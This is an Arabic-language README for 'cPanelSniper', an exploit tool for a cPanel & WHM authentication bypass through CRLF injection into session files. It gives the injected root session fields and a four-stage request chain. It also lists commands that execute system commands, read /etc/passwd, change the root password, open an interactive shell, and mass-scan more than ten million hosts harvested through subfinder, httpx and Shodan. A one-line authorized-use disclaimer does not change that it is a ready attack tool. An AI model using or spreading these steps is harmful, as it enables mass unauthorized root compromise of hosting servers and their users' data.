
# cPanelSniper STABLE - CVE-2026-41940 مُحسَّن لأكثر من 10 ملايين هدف
CVE-2026-41940 — تجاوز المصادقة في cPanel & WHM عبر حقن CRLF في ملف الجلسة
سلسلة استغلال من 4 مراحل · قشرة WHM تفاعلية · مستقرة فعليًا لأكثر من 10 ملايين هدف · صفر استخدام للذاكرة · stdlib فقط
cPanelSniper هو إطار عمل استغلال متخصص لثغرة CVE-2026-41940، وهي ثغرة حرجة في تجاوز المصادقة تؤثر على cPanel & WHM. تسمح الثغرة للمهاجمين عن بُعد دون مصادقة بالحصول على وصول كامل لجذر WHM عن طريق حقن تسلسلات CRLF في ملف الجلسة عبر ترويسة Authorization HTTP — دون الحاجة إلى أي بيانات اعتماد صالحة.
لاختبار الاختراق المصرح به وبرامج مكافآت الثغرات فقط.
هذه النسخة محسّنة لفحص أكثر من 10,000,000 هدف مع صفر استخدام للذاكرة.
| المشكلة | النسخة الأصلية | النسخة المُصلحة |
|---|---|---|
| استخدام الذاكرة | تحميل جميع الأهداف في الذاكرة | بث الأهداف سطرًا بسطر (0 ذاكرة) |
| 10 ملايين هدف | نفاد الذاكرة → إيقاف ❌ | يكتمل بنجاح ✅ |
| الاستئناف | غير مدعوم | علامة --resume |
| التقدم | لا يوجد وقت متوقع | وقت متوقع فوري + معدل + إحصائيات |
| النتائج | تُحفظ فقط في النهاية | تُحفظ كل 60 ثانية (قابل للتكوين) |
--resumesubfinder وhttpx وshodanالسبب الجذري يكمن في Session.pm: دالة saveSession() تستدعي filter_sessiondata() بعد كتابة ملف الجلسة على القرص. هذا يعني أن أحرف CRLF المضمنة في قيمة ترويسة Authorization: Basic تُكتب حرفيًا في ملف الجلسة، مما يحقن حقولًا يتحكم بها المهاجم قبل حدوث التنقية.
التدفق الطبيعي:
POST /login/ → filter_sessiondata() → كتابة الجلسة → فحص المصادقة
التدفق القابل للاستغلال:
POST /login/ → كتابة الجلسة (حقن حمولة CRLF) → filter_sessiondata() → فحص المصادقة يقرأ الملف المسموم
قيمة Authorization: Basic تُفك ترميزها إلى:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
تُكتب هذه الحقول مباشرة في ملف الجلسة على القرص. عند قراءتها مرة أخرى، يعاملها cPanel كجلسة جذر مصادقة بالكامل.
┌─────────────────────────────────────────────────────────────┐
│ المرحلة 0 — اكتشاف اسم المضيف الأساسي │
│ GET /openid_connect/cpanelid → 307 → اسم المضيف الحقيقي │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 1 — إنشاء جلسة ما قبل المصادقة │
│ POST /login/?login_only=1 (بيانات اعتماد خاطئة) │
│ ← 401 + كوكي whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 2 — حقن CRLF │
│ GET / + Cookie: session + Authorization: Basic <حمولة> │
│ cpsrvd يكتب حقول CRLF في ملف الجلسة │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 3 — النشر (أداة do_token_denied) │
│ GET /scripts2/listaccts │
│ يطلق مسح raw→cache — تصبح الحقول المحقونة نشطة │
│ ← 401 Token denied (متوقع) │
├─────────────────────────────────────────────────────────────┤
│ المرحلة 4 — التحقق من وصول جذر WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = تم الاختراق │
└─────────────────────────────────────────────────────────────┘
| الفرع | قابل للاستغلال | مُصحح |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
لا حاجة لتثبيت pip. Python 3.8+ stdlib خالص فقط.
# هدف واحد — فحص فقط
python3 cPanelSniper.py -u https://target.com:2087
# هدف واحد — قشرة تفاعلية بعد التجاوز
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# قائمة أهداف كبيرة — أكثر من 10 ملايين هدف (مستقر فعليًا)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# استئناف فحص متقطع
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# سرد جميع حسابات cPanel على الخادم
python3 cPanelSniper.py -u https://target.com:2087 --action list
# تنفيذ أمر نظام
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# الحصول على معلومات الخادم (اسم المضيف، الحمل، القرص، مضيف MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# الحصول على إصدار cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# تغيير كلمة مرور الجذر
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# قشرة WHM تفاعلية
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → حفظ في ملف → فحص أكثر من 10 ملايين هدف
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# من قائمة النطاقات - التعامل مع ملايين النطاقات
cat scope.txt | \
httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# نتائج Shodan - فحص ضخم
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json
# أنبوب stdin - للقوائم الصغيرة فقط (<100 ألف)
echo "https://target.com:2087" | python3 cPanelSniper.py
# مصادر متعددة مجمعة → فحص واسع النطاق
{ subfinder -d target.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume